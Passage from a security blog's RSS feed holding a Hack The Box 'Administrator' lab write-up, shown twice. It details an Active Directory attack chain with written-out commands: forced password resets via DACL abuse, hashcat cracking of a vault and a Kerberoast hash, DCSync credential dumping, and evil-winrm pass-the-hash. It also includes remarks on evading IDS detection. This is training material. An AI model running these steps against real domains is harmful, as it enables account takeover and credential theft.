<p>My biggest takeaways from this box are that I need to be better at scraping/spidering these filesystems for relevant files. I&#39;m clearly using <code>Snaffler</code> and <code>LaZagne</code> incorrectly, as the file that had the password I needed literally has the line “Password: blahblah”, which should be the first thing anything should match on. I also want to stop relying on BloodHound so much, the collectors are incredibly “noisy” programs, so any modern IDS system would recognize what is happening. Native PowerShell allows enumeration of DACL, so on the next AD box I do, I&#39;ll be going really in-depth into enumerating using just PowerShell, and having BloodHound data on the side to compare and contrast. I believe the base64 PowerShell reverse shell is also easy to spot, so I want to look at encrypted reverse shells soon without having to use <code>Meterpreter</code> because its not allowed on the OSCP.</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/escapetwo</guid>
      <pubDate>Wed, 14 Jan 2026 22:15:10 +0000</pubDate>
    </item>
    <item>
      <title>Administrator</title>
      <link>https://blog.jjnetops.net/administrator</link>
      <description>&lt;![CDATA[Administrator is a medium difficulty Windows box, it&#39;s focused on Active Directory (AD) Discretionary Access Control List (DACL) abuse, kerberoasting, and privilege escalation through DCSync.&#xA;!--more--&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;Initial Enumeration&#xA;Lateral Movement&#xA;Hashcat Shines&#xA;Privilege Escalation&#xA;Lessons Learned&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;pwsafe - Open source password manager&#xA;Bloodhound - A web application for mapping relationships within systems, specifically Windows AD for us.&#xA;enum4linux-ng - A tool for enumerating Windows computers.&#xA;SharpHound - A collector for Bloodhound, used to generate data for mapping Windows AD.&#xA;net - Part of the samba suite, tools for interacting with the SMB Windows protocol.&#xA;evil-winrm - A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent.&#xA;impacket - A collection of tools, although I specifically used crackmapexec and secretsdump, which helped maliciously interact with a Windows system.&#xA;hashcat - A tool for cracking hashes to recover passwords or other valuable data.&#xA;&#xA;nmap scan&#xA;&#xA;For this box I am provided credentials of a low privilege user.&#xA;&#xA;I start with scanning the ports with nmap to begin enumerating the box. The nmap scan shows a Windows box with multiple ports listening, as well as leaking the domain administrator.htb. Noting here that we also see FTP is listening as well, although for some reason I completely miss this when reviewing the list several times.&#xA;&#xA;Initial Enumeration&#xA;&#xA;I run enum4linux-ng first, to enumerate users, groups, password settings, FQDN. One thing that it enumerates is that domain lockout is active, so I cannot bruteforce an account (nor do I want to).&#xA;&#xA;I enumerate SMB shares using crackmapexec, which our unprivileged user only has read access to IPC$, NETLOGON, and SYSVOL. I check the scripts folder in SYSVOL, which is empty, then leave the rest alone for now.&#xA;&#xA;The compromised account provided, olivia, has remote access, so I begin running winPEAS, and SharpHound. This is my first time running SharpHound, but its quite noisy in cybersecurity terms according to others, so I&#39;m interested to see the difference between it and other collectors.&#xA;&#xA;Lateral Movement&#xA;&#xA;While winPEAS is still running, I review the SharpHound data and see that I can attempt to exploit DACL to gain access to other accounts. Bloodhound shows that the user olivia, has GenericAll over michael who has ForceChangePassword over benjamin. We can compromise these accounts and look for additional data. &#xA;&#xA;We change the password for the michael account using the following command:&#xA;&#xA;net rpc password michael &#39;Password123#&#39; -U administrator.htb/olivia%ichliebedich -S 10.129.17.147&#xA;&#xA;This allows me access to the michael user, who also has the same groups as olivia. I remote to the Domain Controller (DC) as michael, dig around, and find nothing. I use the same net rpc password command to change benjamin&#39;s password, which gives me the ability to authenticate as the account. &#xA;&#xA;I check the SMB shares as benjamin, thinking that account will have different permissions, which it doesn&#39;t. The account has the same permissions as the others with regards to SMB, but benjamin does not have the group that allows remote access and instead has the Share Moderators group.&#xA;&#xA;I got stuck here for a few hours and call it for the night, I was not really sure how to enumerate this group or figure out what permissions it has, and winPEAS shows no escalation paths from the bit I can see before it hangs. I know the Share Moderators group has something to do with shares, as the name implies, but I didn’t realize that FTP was listening until I finally stopped and referred to the module’s &#34;Guided Mode&#34;. The very first task asks, “What is the lowest TCP port listening on Administrator?”, which turned out to be FTP, something I somehow missed while reviewing the scan the first four times.&#xA;&#xA;Hashcat Shines&#xA;&#xA;Knowing that FTP is listening, I try logging in michael to test if the Share Moderators group is the one that allows access, and it turns out it is. Only benjamin is allowed to access the FTP, which has a Backup.psafe3 file.&#xA;&#xA;I grab the file, not knowing anyone&#39;s password since I changed most of them for access, I immediately feed it to hashcat to crack it. I don&#39;t have a screenshot of the crack because it is done on a different PC with a dedicated GPU, but the Windows command was:&#xA;&#xA;.\hashcat.exe -m 5200 .\Documents\Hashes\Administrator\Backup.psafe3 .\Wordlists\Rockastic12a -o .\Documents\Hashes\Administrator\backuppsafe3-password.txt&#xA;&#xA;This runs for 3 minutes and finds the password tekieromucho.&#xA;&#xA;Now having the password for Backup.psafe3; I install the program, load the database, and get the passwords for the emily, emma, and alexander accounts.&#xA;&#xA;I review the SharpHound data and see that emily has a path to administrator through ethan, so owning the ethan account is my next goal.&#xA;&#xA;I quickly evil-winrm to the computer as emily and grab the user.txt flag.&#xA;&#xA;To compromise the ethan account, we can either attempt a kerberoast or a shadow credential attack. The passwords for these users have been massive strings of random letters and numbers, so I&#39;m thinking shadow credential will be much easier.&#xA;&#xA;Initially I attempted the attack with certipy shadow auto, but the DC does not allow authenticating with the pfx key objects, per this errors message KDCERRPADATATYPENOSUPP(KDC has no support for padata type).&#xA;&#xA;I also attempted breaking the pfx into public and private key to authenticate using evil-winrm, but that is also not allowed as it specifies that it requires a password.&#xA;&#xA;I think knowing Windows services better could have saved me some time from attempting these once I found that certificate authentication does not seem to be allowed.&#xA;&#xA;I go to the backup plan of kerberoasting the ethan account, using targetedkeberoast.py I get the Kerberos 5 TGS-REP hash and plug it into hashcat.&#xA;&#xA;I don&#39;t have a screenshot of the hashcat running, but it finished in less than a second with the with the user&#39;s password being limpbizket. The hashcat command I ran was (shortening the paths for simplicity):&#xA;&#xA;.\hashcat.exe -m 13100 ..\ethan.kerbhash ..\Wordlists\Rocktastic12a&#xA;&#xA;Privilege Escalation&#xA;&#xA;Having the ethan account&#39;s password, we can proceed with privilege escalation. Referring back to Bloodhound, I see that the ethan account has several outbound object controls over the DC, including DCSync, I review the DCSync hacktricks.wiki entry, which states that with the appropriate privileges, the ethan account can initiate the DCSync, having our attacker machine pose as a DC asking the administrator.heb DC to replicate information. &#xA;&#xA;The impacket-secretsdump tool lets us seamlessly do this and we get the NTLM hashes for every user in the domain, in addition to other sensitive data.&#xA;&#xA;We can use the NT hash for the administrator account to login and grab the flag. Note the command for evil-winrm here is:&#xA;&#xA;evil-winrm -H [NTHASH] -u administrator -i 10.129.17.147&#xA;&#xA;The full attack chain looks like this:&#xA;&#xA;Olivia -  genericwrite change password -  michael -  forcechangepassword change password -  benjamin who is share moderator -  psafe3 vault with emily&#39;s password -  kerberoast ethan -  crack kerb hash -  ethan -  dcsync to get NT hash of admin -  administrator -  flag&#xA;&#xA;Lessons Learned&#xA;&#xA;Bloodhound did all of the heavy lifting on this, it entirely mapped out the DACL which was the key to moving between users. I need to learn how to enumerate this information without relying on noisy tools.&#xA;&#xA;To see the difference between SharpHound and bloodhound.py, I deleted all the collected data from Bloodhound and ran another collector, this time bloodhound.py, which can be run remotely.&#xA;&#xA;For the most part the data was the same; however, bloodhound.py states that it does not collect GPO local groups, so when we look at the ethan user again, we cannot identify the outbound object controls that allow the DCSync that got us the administrator NT hash. This is a big limitation and one I&#39;ll need to consider in the future. Both of these tools have multiple arguments you can provide them to only scan specific sections, so maybe running bloodhound.py initially, then running sharphound -localgpo or whatever the argument may be would be ideal to be as stealthy as possible. I&#39;ll also begin reading on  how to collect this through LDAP queries to hopefully not have to rely on these noisy tools.]]&gt;</description>
      <content:encoded><![CDATA[<p>Administrator is a medium difficulty Windows box, it&#39;s focused on Active Directory (AD) Discretionary Access Control List (DACL) abuse, kerberoasting, and privilege escalation through DCSync.
</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#initial-enumeration">Initial Enumeration</a></li>
<li><a href="#lateral-movement">Lateral Movement</a></li>
<li><a href="#hashcat-shines">Hashcat Shines</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/pwsafe/pwsafe">pwsafe</a> – Open source password manager
<a href="https://github.com/SpecterOps/BloodHound">Bloodhound</a> – A web application for mapping relationships within systems, specifically Windows AD for us.
<a href="https://github.com/cddmp/enum4linux-ng">enum4linux-ng</a> – A tool for enumerating Windows computers.
<a href="https://github.com/SpecterOps/SharpHound">SharpHound</a> – A collector for <code>Bloodhound</code>, used to generate data for mapping Windows AD.
<a href="https://linux.die.net/man/8/net">net</a> – Part of the samba suite, tools for interacting with the SMB Windows protocol.
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> – A shell to interact with the WinRM protocol originally, but now works with PSRP, the <code>PowerShell</code> equivalent.
<a href="https://github.com/fortra/impacket">impacket</a> – A collection of tools, although I specifically used <code>crackmapexec</code> and <code>secretsdump</code>, which helped maliciously interact with a Windows system.
<a href="https://hashcat.net/hashcat/">hashcat</a> – A tool for cracking hashes to recover passwords or other valuable data.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p>For this box I am provided credentials of a low privilege user.</p>

<p>I start with scanning the ports with <code>nmap</code> to begin enumerating the box. The <code>nmap</code> scan shows a Windows box with multiple ports listening, as well as leaking the domain <code>administrator.htb</code>. Noting here that we also see FTP is listening as well, although for some reason I completely miss this when reviewing the list several times.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066697/Pasted_image_20251217063631_staa7i.png" alt=""></p>

<h2 id="initial-enumeration">Initial Enumeration</h2>

<p>I run <code>enum4linux-ng</code> first, to enumerate users, groups, password settings, FQDN. One thing that it enumerates is that domain lockout is active, so I cannot bruteforce an account (nor do I want to).</p>

<p>I enumerate SMB shares using <code>crackmapexec</code>, which our unprivileged user only has read access to <code>IPC$</code>, <code>NETLOGON</code>, and <code>SYSVOL</code>. I check the scripts folder in <code>SYSVOL</code>, which is empty, then leave the rest alone for now.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066713/Pasted_image_20251218104607_iaq9pr.png" alt=""></p>

<p>The compromised account provided, <code>olivia</code>, has remote access, so I begin running <code>winPEAS</code>, and <code>SharpHound</code>. This is my first time running <code>SharpHound</code>, but its quite noisy in cybersecurity terms according to others, so I&#39;m interested to see the difference between it and other collectors.</p>

<h2 id="lateral-movement">Lateral Movement</h2>

<p>While <code>winPEAS</code> is still running, I review the <code>SharpHound</code> data and see that I can attempt to exploit DACL to gain access to other accounts. <code>Bloodhound</code> shows that the user <code>olivia</code>, has <code>GenericAll</code> over <code>michael</code> who has <code>ForceChangePassword</code> over <code>benjamin</code>. We can compromise these accounts and look for additional data.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066724/Pasted_image_20251218105116_mlpotd.png" alt=""></p>

<p>We change the password for the <code>michael</code> account using the following command:</p>

<pre><code class="language-shell">net rpc password michael &#39;Password123#&#39; -U administrator.htb/olivia%ichliebedich -S 10.129.17.147
</code></pre>

<p>This allows me access to the <code>michael</code> user, who also has the same groups as <code>olivia</code>. I remote to the Domain Controller (DC) as <code>michael</code>, dig around, and find nothing. I use the same <code>net rpc password</code> command to change <code>benjamin</code>&#39;s password, which gives me the ability to authenticate as the account.</p>

<p>I check the SMB shares as <code>benjamin</code>, thinking that account will have different permissions, which it doesn&#39;t. The account has the same permissions as the others with regards to SMB, but <code>benjamin</code> does not have the group that allows remote access and instead has the <code>Share Moderators</code> group.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066726/Pasted_image_20251218110610_rogbti.png" alt=""></p>

<p>I got stuck here for a few hours and call it for the night, I was not really sure how to enumerate this group or figure out what permissions it has, and <code>winPEAS</code> shows no escalation paths from the bit I can see before it hangs. I know the <code>Share Moderators</code> group has something to do with shares, as the name implies, but I didn’t realize that FTP was listening until I finally stopped and referred to the module’s “Guided Mode”. The very first task asks, <em>“What is the lowest TCP port listening on Administrator?”</em>, which turned out to be FTP, something I somehow missed while reviewing the scan the first four times.</p>

<h2 id="hashcat-shines">Hashcat Shines</h2>

<p>Knowing that FTP is listening, I try logging in <code>michael</code> to test if the <code>Share Moderators</code> group is the one that allows access, and it turns out it is. Only <code>benjamin</code> is allowed to access the FTP, which has a <code>Backup.psafe3</code> file.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066698/Pasted_image_20251218092337_nnanof.png" alt=""></p>

<p>I grab the file, not knowing anyone&#39;s password since I changed most of them for access, I immediately feed it to <code>hashcat</code> to crack it. I don&#39;t have a screenshot of the crack because it is done on a different PC with a dedicated GPU, but the Windows command was:</p>

<pre><code class="language-cmd">.\hashcat.exe -m 5200 .\Documents\Hashes\Administrator\Backup.psafe3 .\Wordlists\Rockastic12a -o .\Documents\Hashes\Administrator\backuppsafe3-password.txt
</code></pre>

<p>This runs for 3 minutes and finds the password <code>tekieromucho</code>.</p>

<p>Now having the password for <code>Backup.psafe3</code>; I install the program, load the database, and get the passwords for the <code>emily</code>, <code>emma</code>, and <code>alexander</code> accounts.</p>

<p>I review the <code>SharpHound</code> data and see that <code>emily</code> has a path to <code>administrator</code> through <code>ethan</code>, so owning the <code>ethan</code> account is my next goal.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066691/Pasted_image_20251218112408_jzaxbw.png" alt=""></p>

<p>I quickly <code>evil-winrm</code> to the computer as <code>emily</code> and grab the <code>user.txt</code> flag.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066725/Pasted_image_20251218110117_imduuy.png" alt=""></p>

<p>To compromise the <code>ethan</code> account, we can either attempt a kerberoast or a shadow credential attack. The passwords for these users have been massive strings of random letters and numbers, so I&#39;m thinking shadow credential will be much easier.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066691/Pasted_image_20251218114546_o4y3tp.png" alt=""></p>

<p>Initially I attempted the attack with <code>certipy shadow auto</code>, but the DC does not allow authenticating with the pfx key objects, per this errors message <code>KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066692/Pasted_image_20251218120113_szmop4.png" alt=""></p>

<p>I also attempted breaking the pfx into public and private key to authenticate using <code>evil-winrm</code>, but that is also not allowed as it specifies that it requires a password.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066692/Pasted_image_20251218121435_knfwou.png" alt=""></p>

<p>I think knowing Windows services better could have saved me some time from attempting these once I found that certificate authentication does not seem to be allowed.</p>

<p>I go to the backup plan of kerberoasting the <code>ethan</code> account, using <code>targetedkeberoast.py</code> I get the Kerberos 5 TGS-REP hash and plug it into <code>hashcat</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066692/Pasted_image_20251218122650_bsub1i.png" alt=""></p>

<p>I don&#39;t have a screenshot of the <code>hashcat</code> running, but it finished in less than a second with the with the user&#39;s password being <code>limpbizket</code>. The <code>hashcat</code> command I ran was (shortening the paths for simplicity):</p>

<pre><code class="language-cmd">.\hashcat.exe -m 13100 ..\ethan.kerbhash ..\Wordlists\Rocktastic12a
</code></pre>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>Having the <code>ethan</code> account&#39;s password, we can proceed with privilege escalation. Referring back to <code>Bloodhound</code>, I see that the <code>ethan</code> account has several outbound object controls over the DC, including <code>DCSync</code>, I review the <a href="https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html?highlight=DCSync#dcsync-1">DCSync hacktricks.wiki entry</a>, which states that with the appropriate privileges, the <code>ethan</code> account can initiate the DCSync, having our attacker machine pose as a DC asking the <code>administrator.heb</code> DC to replicate information.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066694/Pasted_image_20251218124008_aayhjj.png" alt=""></p>

<p>The <code>impacket-secretsdump</code> tool lets us seamlessly do this and we get the NTLM hashes for every user in the domain, in addition to other sensitive data.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066694/Pasted_image_20251218124121_sux3ph.png" alt=""></p>

<p>We can use the NT hash for the administrator account to login and grab the flag. Note the command for <code>evil-winrm</code> here is:</p>

<pre><code class="language-shell">evil-winrm -H [NTHASH] -u administrator -i 10.129.17.147
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066696/Pasted_image_20251218124213_pybjdp.png" alt=""></p>

<p>The full attack chain looks like this:</p>

<p>Olivia –&gt; genericwrite change password –&gt; michael –&gt; forcechangepassword change password –&gt; benjamin who is share moderator –&gt; psafe3 vault with emily&#39;s password –&gt; kerberoast ethan –&gt;  crack kerb hash –&gt; ethan –&gt; dcsync to get NT hash of admin –&gt; administrator –&gt; flag</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p><code>Bloodhound</code> did all of the heavy lifting on this, it entirely mapped out the DACL which was the key to moving between users. I need to learn how to enumerate this information without relying on noisy tools.</p>

<p>To see the difference between <code>SharpHound</code> and <code>bloodhound.py</code>, I deleted all the collected data from <code>Bloodhound</code> and ran another collector, this time <code>bloodhound.py</code>, which can be run remotely.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1766066696/Pasted_image_20251218130622_ndingr.png" alt=""></p>

<p>For the most part the data was the same; however, <code>bloodhound.py</code> states that it does <strong>not</strong> collect GPO local groups, so when we look at the <code>ethan</code> user again, we cannot identify the outbound object controls that allow the <code>DCSync</code> that got us the <code>administrator</code> NT hash. This is a big limitation and one I&#39;ll need to consider in the future. Both of these tools have multiple arguments you can provide them to only scan specific sections, so maybe running <code>bloodhound.py</code> initially, then running <code>sharphound -localgpo</code> or whatever the argument may be would be ideal to be as stealthy as possible. I&#39;ll also begin reading on  how to collect this through LDAP queries to hopefully not have to rely on these noisy tools.</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/administrator</guid>
      <pubDate>Thu, 18 Dec 2025 14:03:46 +0000</pubDate>
    </item>
  </channel>
</rss>